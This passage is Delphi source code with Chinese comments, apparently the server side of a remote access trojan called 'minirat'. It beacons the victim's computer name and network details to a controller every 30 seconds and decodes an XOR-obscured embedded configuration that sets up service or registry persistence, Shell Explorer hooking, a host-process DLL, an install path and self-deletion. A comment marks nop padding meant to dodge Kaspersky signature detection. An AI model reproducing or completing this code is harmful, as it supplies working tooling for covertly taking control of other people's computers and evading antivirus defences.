  818.     if (Winsock.Connect(Sock, Addr, SizeOf(Addr)) = 0) then
  819.     begin
  820.       SendData('01 ' + password + #10);
  821.       SendData('02 ' + version + #10);
  822.       SendData('03 ' + getnet + #10);
  823.       SendData('20 ' + ComputerName + #10);
  824.       ReceiveData;
  825.     end;
  826.     Sleep(30000);
  827.     LastDir := '';
  828.   until (Close);
  829.   WSACleanUP();
  830. end;
  831. procedure ReadFileStr(dName: string; var Content: string);
  832. var
  833.   FContents: file of Char;
  834.   FBuffer: array[1..1024] of Char;
  835.   rLen: LongInt;
  836.   FSize: LongInt;
  837. begin
  838.   try
  839.     Content := '';
  840.     AssignFile(FContents, dName); // 访问正在使用的 文本文件
  841.     Reset(FContents);
  842.     FSize := FileSize(FContents);
  843.     while not EOF(FContents) do
  844.     begin
  845.       BlockRead(FContents, FBuffer, 1024, rLen); // 读记录
  846.       Content := Content + string(FBuffer);
  847.     end;
  848.     CloseFile(FContents);
  849.     if Length(Content) > FSize then
  850.       Content := Copy(Content, 1, FSize);
  851.   except
  852.     Exit;
  853.   end;
  854. end;
  855. //间单加密一下--------------
  856. function EncryptText(Text: string): string;
  857. var
  858.   I: Word;
  859.   C: Word;
  860. begin
  861.   Result := '';
  862.   for I := 1 to Length(Text) do
  863.   begin
  864.     C := Ord(Text[I]);
  865.     Result := Result + Chr((C xor 12));
  866.   end;
  867. end;
  868. //读取所有配置信息 --------------
  869. procedure ReadSettings;
  870. var
  871.   I: Word;
  872.   Settings: string;
  873.   FileContent: string;
  874.   NewFileName: string;
  875. begin
  876. //  NewFileName := ParamStr(0) + '_'; //生成文件名
  877. //  CopyFile(pChar(ParamStr(0)), pChar(NewFileName), False); //复制
  878.   ReadFileStr(ConFile, FileContent);
  879.   I := Length(FileContent);
  880.   Settings := '';
  881.   while (I > 0) and (FileContent[i] <> #00) do
  882.   begin
  883.     Settings := FileContent[i] + Settings;
  884.     Dec(I);
  885.   end;
  886.   if (Settings = '') then
  887.   begin
  888.     DeleteFile(pChar(NewFileName));
  889.     Uninstall;
  890.   end;
  891.   Settings := EncryptText(Settings);
  892.   pz^.Urlhttp := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //x
  893.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  894.   pz^.dConType := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); ////连接类型; 0:主动连接,1:被动连接
  895.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  896.   pz^.dDnsHost := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //100
  897.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  898.   pz^.dLocalPort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //被动连接端口
  899.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  900.   pz^.dRemotePort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //主动连接端口
  901.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  902.   pz^.dPass := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //连接客码
  903.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  904.   pz^.dGroup := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //上线组
  905.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  906.   pz^.dRunAsSrv := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //以服务运行  1:以服务运行,2:注册自动启动
  907.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  908.   pz^.dInsPath := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装路      0:<window> 1:<system> 2<templete>
  909.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  910.   pz^.dInsFileName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装文件名称
  911.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  912.   pz^.dIsAutoDelMe := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //是否自己删除自己 0:不删除 1:删除自己
  913.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  914.   pz^.dSrvView := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务说明
  915.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  916.   pz^.dSrvName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务名称
  917.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  918.   pz^.dSrvText := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务描述
  919.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  920.   pz^.dMainThread := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //Start.exe线程ID
  921.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  922.   strcopy(pz^.dhostProcess,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
  923.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  924.  strcopy(pz^.dDllFile,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
  925.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  926.   pz^.dRegLM := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_LOCAL_MACHINE
  927.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  928.   pz^.dRegCU := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_CURRENT_USER
  929.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  930.   pz^.dRegSH := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册为Shell Explorer
  931.     Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  932. //  DeleteFile(pChar(NewFileName));
  933. end;
  934. //获取系统目录 --------------------
  935. function GetDirectory(dInt: Integer): string;
  936. var
  937.   S: array[0..255] of Char;
  938. begin
  939.   case dInt of
  940.     0: GetWindowsDirectory(@S, 256);
  941.     1: GetSystemDirectory(@S, 256);
  942.   end;
  943.   Result := string(S) + '';
  944. end;
  945. procedure miniratMain;
  946. begin
  947.   asm   //改成卡吧不能特征码
  948.     nop
  949.     nop
  950.   end;
  951.   Serv := TServer.Create;
  952.   while not (InternetGetConnectedState(nil, 0)) do
  953.     Sleep(5000);
  954.   Serv.Connect;
  955. end;
  956. end.